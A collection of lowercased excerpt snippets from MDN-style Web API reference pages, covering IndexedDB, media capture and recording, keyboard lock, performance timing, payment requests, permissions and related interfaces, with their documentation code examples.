...ed either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { uni...
...que: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; // create a new item to add in to the object store var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: 'december', year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status comment indexed database api 2.0the definition of 'idbobjectstore' in that specification.
IDBOpenDBRequest.onupgradeneeded - Web APIs
var request = window.indexeddb.open("library", 3); // this event handles the event whereby a new version of the // database needs to be created.
... var store = db.createobjectstore("books", {keypath: "isbn"}); var titleindex = store.createindex("by_title", "title", {unique: true}); var authorindex = store.createindex("by_author", "author"); } if (event.oldversion < 2) { // version 2 introduces a new index of books by year.
... var bookstore = request.transaction.objectstore("books"); var yearindex = bookstore.createindex("by_year", "year"); } if (event.oldversion < 3) { // version 3 introduces a new object store for magazines with two indexes.
... var magazines = db.createobjectstore("magazines"); var publisherindex = magazines.createindex("by_publisher", "publisher"); var frequencyindex = magazines.createindex("by_frequency", "frequency"); } }; request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; db = request.result; populateanddisplaydata(); }; specifications specification status comment indexed database api 2.0the definition of 'onupgradeneeded' in that specification.
IDBTransaction.mode - Web APIs
transactions in this mode are known as "upgrade transactions." example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification.
InstallEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-wid...
...th="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">extendableevent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#d4dde4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#d4dde4"/><a xlink:hre...
...f="/docs/web/api/installevent" target="_top"><rect x="306" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">installevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor installevent.installevent() creates a new installevent object.
... note: logging statements are visible in google chrome via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
navigator.keyboard.lock(); capturing specific keys the following example captures the "w", "a", "s", and "d" keys.
...assuming a standard us qwerty layout, registering "keyw" ensures that "w", shift+"w", control+"w", control+shift+"w", and all other key modifier combinations with "w" are sent to the app.
... the same applies to for "keya", "keys" and "keyd".
... navigator.keyboard.lock(["keyw", "keya", "keys", "keyd"]); specifications specification status comment keyboard lockthe definition of 'lock()' in that specification.
KeyboardEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a x...
...link:href="/docs/web/api/keyboardevent" target="_top"><rect x="231" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="296" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">keyboardevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor keyboardevent() creates a new keyboardevent object.
... warning: this ignores the user's keyboard layout, so that if the user presses the key at the "y" position in a qwerty keyboard layout (near the middle of the row above the home row), this will always return "keyy", even if the user has a qwertz keyboard (which would mean the user expects a "z" and all the other properties would indicate a "z") or a dvorak keyboard layout (where the user would expect an "f").
Long Tasks API - Web APIs
the 50 ms threshold comes from the rail model, in particular the "response: process events in under 50 ms" section.
... tasks that block the main thread for 50 ms or more cause, among other issues: delayed "time to interactive".
... culprit browsing context container the "culprit browsing context container", or "the container" for short, is the top level page, iframe, embed or object that the task occurred within.
... } }); // register observer for long task notifications observer.observe({entrytypes: ["longtask"]}); // long script execution after this will result in queueing // and receiving "longtask" entries in the observer.
MediaDeviceInfo - Web APIs
mediadeviceinfo.kindread only returns an enumerated value that is either "videoinput", "audioinput" or "audiooutput".
... mediadeviceinfo.labelread only returns a domstring that is a label describing this device (for example "external usb webcam").
... if (!navigator.mediadevices || !navigator.mediadevices.enumeratedevices) { console.log("enumeratedevices() not supported."); return; } // list cameras and microphones.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more media streams are active, or if persistent permissions have been granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone ...
MediaRecorder.pause() - Web APIs
when a mediarecorder object’s pause()method is called, the browser queues a task that runs the below steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps.
... set mediarecorder.state to "paused".
... exceptions invalidstateerror the mediarecorder is currently "inactive"; you can't pause recording if it's not active.
... pause.onclick = function() { mediarecorder.pause(); console.log("recording paused"); } ...
MediaRecorder - Web APIs
options are available to do things like set the container's mime type (such as "video/webm" or "video/mp4") and the bit rates of the audio and video tracks or a single overall bit rate.
...vigator.mediadevices) { console.log('getusermedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.background = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after medi...
...arecorder.stop() called."); var clipname = prompt('enter a name for your sound clip'); var clipcontainer = document.createelement('article'); var cliplabel = document.createelement('p'); var audio = document.createelement('audio'); var deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; var audiourl ...
...= url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); deletebutton.onclick = function(e) { evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } }) .catch(function(err) { console.log('the following error occurred: ' + err); }) } this code sample is inspired by the web dictaphone demo.
MediaStreamConstraints.audio - Web APIs
html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; paddin...
...g-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only stream with no specific constraints, then attaches the resulting stream to an <audio> element once the stream is returned.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logele...
...ment = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of audio constraints requesting that echo cancellation be enabled and that, if possible, the sample rate be 8 bits per sample instead of the more common 16 bits (possibly as a bandwidth saving measure).
MediaStreamConstraints.video - Web APIs
html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; paddin...
...g-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only stream with no specific constraints, then attaches the resulting stream to a <video> element once the stream is returned.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logele...
...ment = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of video constraints that indicate a preference for a video track whose dimensions are as close as possible to 160x120 pixels, and whose frame rate is as close to 15 frames per second as possible.
MediaStreamEvent() - Web APIs
mediastreameventinit is a mediastreameventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the event.
... "bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not.
... "cancelable", optional and defaulting to false, inherited from eventinit, and indicating if the event can be canceled or not.
... example // s is a mediastream var event = new mediastreamevent("addstream", {"stream": s}); ...
MediaStream Recording API - Web APIs
var canvas = document.queryselector("canvas"); // optional frames per second argument.
... var stream = canvas.capturestream(25); var recordedchunks = []; console.log(stream); var options = { mimetype: "video/webm; codecs=vp9" }; mediarecorder = new mediarecorder(stream, options); mediarecorder.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ...
... } } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var url = url.createobjecturl(blob); var a = document.createelement("a"); document.body.appendchild(a); a.style = "display: none"; a.href = url; a.download = "test.webm"; a.click(); window.url.revokeobjecturl(url); } // demo: to download after 9sec settimeout(event => { console.log("stopping"); mediarecorder.stop(); }, 9000); examining and controlling the recorder status you can also use the properties of the mediarecorder object to determine the state of the recording process, and its pause() and resume() methods to pause and resume recording of the source media.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { let menu = document.getelementbyid("inputdevices"); if (device.kind == "audioinput") { let item = document.createelement("option"); item.innerhtml = device.label; item.value = device.deviceid; menu.appendchild(item); } }); }); code similar to this can be used to let the user restrict the set of devices they wish to use.
MediaTrackConstraints.cursor - Web APIs
for example, if your app needs to alter the stream by inserting a representation of the cursor position if the stream doesn't include the rendered cursor, you can determine the need to do so by using code like this: let insertfakecursorflag = false; if (displaystream.getvideotracks()[0].getsettings().cursor === "never") { insertfakecursorflag = true; } following this code, insertfakecursorflag is true if there's no cursor rendered into the stream already.
... let displaymediaoptions = { cursor: "always" }; example: cursor visible during motion with fallback in this example, the cursor property is configured to request that the cursor be visible when in motion, falling back to always being visible if the user agent doesn't support in-motion only cursor rendering.
... let displaymediaoptions = { cursor: ["motion", "always"] }; example: require that the cursor not be visible this constraints object explicitly requires that the cursor not be rendered into the video track.
... let displaymediaoptions = { cursor: { exact: "none" } }; specifications specification status comment screen capturethe definition of 'mediatrackconstraints.cursor' in that specification.
MediaTrackConstraints - Web APIs
properties of image tracks whitebalancemode a string specifying one of "none", "manual", "single-shot", or "continuous".
... exposuremode a string specifying one of "none", "manual", "single-shot", or "continuous".
... focusmode a string specifying one of "none", "manual", "single-shot", or "continuous".
... always the mouse is always visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content.
MediaTrackSettings.facingMode - Web APIs
"user" the video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone.
... "environment" the video source is facing away from the user, thereby viewing their environment.
... "left" the video source is facing toward the user but to their left, such as a camera aimed toward the user but over their left shoulder.
... "right" the video source is facing toward the user but to their right, such as a camera aimed toward the user but over their right shoulder.
NavigatorID.appVersion - Web APIs
returns either "4.0" or a string representing version information about the browser.
... syntax window.navigator.appversion value either "4.0" or a string representing version information about the browser.
... example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties.
... the window.navigator.appversion, window.navigator.appname and window.navigator.useragent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly.
NavigatorID - Web APIs
navigatorid.appcodename read only always returns "mozilla", in any browser.
... navigatorid.appname read only always returns "netscape", in any browser.
... navigatorid.appversion read only returns either "4.0" or a string representing version information about the browser.
... navigatorid.product read only always returns "gecko", in any browser.
Node.nodeName - Web APIs
WebAPINodenodeName
values for the different types of nodes are: interface nodename value attr the value of attr.name cdatasection "#cdata-section" comment "#comment" document "#document" documentfragment "#document-fragment" documenttype the value of documenttype.name element the value of element.tagname entity the entity name entityreference the name of entity reference notation the notation name processinginstruction the value of processinginstruction.target text "#text" example given the following markup: <...
...div id="d1">hello world</div> <input type="text" id="t"> and the following script: var div1 = document.getelementbyid("d1"); var text_field = document.getelementbyid("t"); text_field.value = div1.nodename; in xhtml (or any other xml format), text_field's value would read "div".
... however, in html, text_field's value would read "div", because nodename and tagname return in upper case on html elements in doms flagged as html documents.
...bear in mind, however, that nodename will return "#text" for text nodes while tagname will return undefined.
PannerNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor pannernode.pannernode creates a new pannernode object instance.
...possible values are "linear", "inverse" and "exponential".
... the default value is "inverse".
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
Using the Payment Request API - Web APIs
in the following snippet we do just this — depending on whether the user can make a fast payment or needs to add payment credentials first, the title of the checkout button changes between "fast checkout with w3c" and "setup w3c checkout".
... const checkoutbutton = document.getelementbyid('checkout-button'); checkoutbutton.innertext = "loading..."; if (window.paymentrequest) { let request = new paymentrequest(buildsupportedpaymentmethodnames(), buildshoppingcartdetails()); request.canmakepayment().then(function(canmakeafastpayment) { if (canmakeafastpayment) { checkoutbutton.innertext = "fast checkout with w3c"; } else { checkoutbutton.innertext = "setup w3c checkout"; } }).catch(function(error) { // the user may have turned off the querying functionality in their // privacy settings.
... checkoutbutton.innertext = "checkout with w3c"; }); } note: see our customizing the payment button demo for the full code.
... showing additional user interface after successful payments if the merchant desires to collect additional information not part of the api (e.g., additional delivery instructions), the merchant can show a page with additional <input type="text"> fields after the checkout.
Payment Request API - Web APIs
advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and services on the web.
...a browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things.
...the browser can automatically suggest which card to use based on past usage patterns or restrictions from the merchant (e.g, "we only accept visa or mastercard"), or allow the user to say which is their default/favorite card.
... to request a payment, a web page creates a paymentrequest object in response to a user action that initiates a payment, such as clicking a "purchase" button.
performance.getEntriesByName() - Web APIs
type optional the type of entry to retrieve such as "mark".
... example function use_performanceentry_methods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); performance.mark("end"); do_work(200000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); check_performanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = perf...
...ormance.getentriesbytype("mark"); for (var i=0; i < p.length; i++) { log ("mark only entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
performance.getEntriesByType() - Web APIs
syntax entries = window.performance.getentriesbytype(type); arguments type the type of entry to retrieve such as "mark".
... example function useperformanceentrymethods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); dowork(50000); performance.mark("end"); performance.mark("begin"); dowork(100000); performance.mark("end"); dowork(200000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); checkperformanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); checkperformanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performan...
...ce.getentriesbytype("mark"); for (var i=0; i < p.length; i++) { log ("mark only entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
performance.setResourceTimingBufferSize() - Web APIs
the setresourcetimingbuffersize() method sets the browser's resource timing buffer size to the specified number of "resource" performance entry type objects.
... example function setresourcetimingbuffersize(maxsize) { if (performance === undefined) { log("browser does not support web performance"); return; } var supported = typeof performance.setresourcetimingbuffersize == "function"; if (supported) { log("...
... performance.setresourcetimingbuffersize() = yes"); performance.setresourcetimingbuffersize(maxsize); } else { log("...
... performance.setresourcetimingbuffersize() = not supported"); } } specifications specification status comment resource timing level 1the definition of 'setresourcetimingbuffersize()' in that specification.
PerformanceMark - Web APIs
performancemark is an abstract interface for performanceentry objects with an entrytype of "mark".
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline p...
...oints="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancemark" target="_top"><rect x="201" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemark</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constraining the properties as follows: performanceentry.entrytype returns "mark".
... performanceentry.duration returns "0".
PerformanceObserver.observe() - Web APIs
may not be used together with the "type" or "buffered" options.
... must be used only with the "type" option.
... examples this example creates and configures two performanceobservers; one watches for "mark" and "frame" events, and the other watches for "measure" events.
... var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
Using the Permissions API - Web APIs
depending on the value of the state property of the permissionstatus object returned when the promise resolves, it reacts differently: "granted" the "enable geolocation" button is hidden, as it isn't needed if geolocation is already active.
... "prompt" the "enable geolocation" button is hidden, as it isn't needed if the user will be prompted to grant permission for geolocation.
... the geolocation.getcurrentposition() function is then run, which prompts the user for permission; it runs the revealposition() function if permission is granted (which shows the map), or the positiondenied() function if permission is denied (which makes the "enable geolocation" button appear).
... "denied" the "enable geolocation" button is revealed (this code needs to be here too, in case the permission state is already set to denied for this origin when the page is first loaded).
PluginArray - Web APIs
the pluginarray is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
... var pluginslength = navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textcontent = navigator.plugins[i].name; newrow.insertcell().textcontent =...
... navigator.plugins[i].filename; newrow.insertcell().textcontent = navigator.plugins[i].description; newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } the following example displays information about the installed plugin(s).
... var pluginslength = navigator.plugins.length; document.write( pluginslength.tostring() + " plugin(s)<br>" + "name | filename | description<br>" ); for(var i = 0; i < pluginslength; i++) { document.write( navigator.plugins[i].name + " | " + navigator.plugins[i].filename + " | " + navigator.plugins[i].description + " | " + navigator.plugins[i].version + "<br>" ); } specifications specification status comment html living standardthe definition of 'pluginarray' in that specification.
PointerEvent.pointerType - Web APIs
the supported values are the following strings: "mouse" the event was generated by a mouse device.
... "pen" the event was generated by a pen or stylus device.
... "touch" the event was generated by a touch, such as a finger.
... if the device type cannot be detected by the browser, the value can be an empty string ("").
ProcessingInstruction - Web APIs
user-defined processing instructions cannot begin with "xml", as xml-prefixed processing-instruction target names are reserved by the xml specification for particular, standard uses (see, for example, <?xml-stylesheet ?>).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 10%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
...2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characte...
